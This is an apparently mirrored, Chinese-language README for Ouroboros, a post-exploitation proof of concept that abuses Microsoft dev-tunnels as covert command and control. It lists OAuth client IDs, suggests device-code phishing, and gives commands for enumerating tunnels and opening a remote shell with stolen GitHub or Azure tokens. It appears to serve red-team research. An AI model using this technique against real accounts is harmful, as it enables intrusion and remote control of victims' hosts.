xpn/Ouroboros

GitHub: xpn/Ouroboros

一款利用微软 dev-tunnels 协议实现隐蔽命令与控制的后渗透 PoC 工具,可将攻陷的 GitHub 或 Azure 凭据转化为对远程主机的实际操控能力。

Stars: 31 | Forks: 2

# Ouroboros ![alt text](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/871daab706024617.png) 一款概念验证(POC)后渗透工具,允许连接到 dev-tunnel 并在上面执行命令。 博文地址:[https://specterops.io/blog/2026/04/30/dev-tunnels-the-accidental-c2/](https://specterops.io/blog/2026/04/30/dev-tunnels-the-accidental-c2/) ## 它是什么? Microsoft dev-tunnels 被用作 VSCode Remote Connect(远程连接)功能的一部分,然而该协议支持许多底层实用功能。 ![demo](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/68218611e7024619.gif) ## 它能用来做什么? dev-tunnels 的身份验证使用以下 OAuth 方法之一: * GitHub 账户 - Client ID 为 `01ab8ac9400c4e429b23` * Azure 账户 - Client ID 为 `aebc6443-996d-45c2-90f0-388ff96faa56` ### GitHub 后渗透 如果你攻陷了一个 GitHub 账户,就可以通过授权 "Visual Studio Code" OAuth2 应用来枚举与该账户关联的任何 dev-tunnels: ![alt text](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/4a01f5aed4024620.png) 该应用还支持 Device Code 注册,这意味着你可以从 OAuth2 Device Code 钓钓鱼,直接转变为对任何已注册的 dev-tunnels 的 RCE(远程代码执行)。 ### Entra-ID 后渗透 有几种方法可以将其用于连接到 Entra ID 的 tunnel。 对于 FOCI,你可以使用任何属于 FOCI 且具有 `Dev Tunnels Service` 资源的 Client ID。其中最突出的是 `872cd9fa-d31f-45e0-9eab-6e460a02d1f1` (Visual Studio - Legacy)。 或者,Visual Studio Code 会使用 Client ID `aebc6443-996d-45c2-90f0-388ff96faa56` 来连接用户。 # 用法 构建方式: ``` cd ouroboros cargo build ``` # 用法 首先,你需要列出所有现有的 tunnel。你可以通过以下方式执行此操作: ``` ./ouroboros management --token [GITHUB/AZURE TOKEN] ``` 返回的 tunnel 列表将如下所示: ``` Tunnel List: Name: sneaky-fog-s5llk1t Labels: ["prometheus", "protocolv4", "vscode-server-launcher", "_flag3"] Created: "2025-11-03T11:20:51.376614Z" Name: interesting-horse-lztwqbj Labels: ["serenitylocal", "protocolv4", "vscode-server-launcher", "_flag8"] Created: "2026-04-13T11:54:57.1330336Z" ``` 然后,你可以使用以下命令生成一个虚拟 shell: ``` ./ouroboros --name interesting-horse-lztwqbj --token [GITHUB/AZURE TOKEN] ``` 支持多个命令: ``` >> help Available commands: help gethostname get_env sys_kill fs_stat fs_read fs_write fs_rm fs_mkdirp fs_readdir fs_rename spawn [args...] ``` # 修补 russh (由于此仓库中的 russh 已经被 patch 过,因此不需要此操作)... 由于 dev-tunnels 使用了一种奇怪的协议偏差(客户端使用了通常属于服务器的 forwarded-tcpip 通道),因此需要对 `russh` 进行 patch,相关的补丁文件位于 `russh.patch` 中。 可以通过以下方式应用该补丁: ``` cd russh git apply ../patch/russh.patch ```
标签:Azure, Cargo, Device Code Phishing, Dev-Tunnels, Entra ID, FOCI, OAuth2, POC, RCE, Rust, SpecterOps, Tunnels, Visual Studio Code, VSCode, 可视化界面, 命令与控制, 嗅探欺骗, 数据展示, 权限维持, 横向移动, 红队, 编程工具, 编程规范, 网络流量审计, 远程代码执行, 通知系统, 钓鱼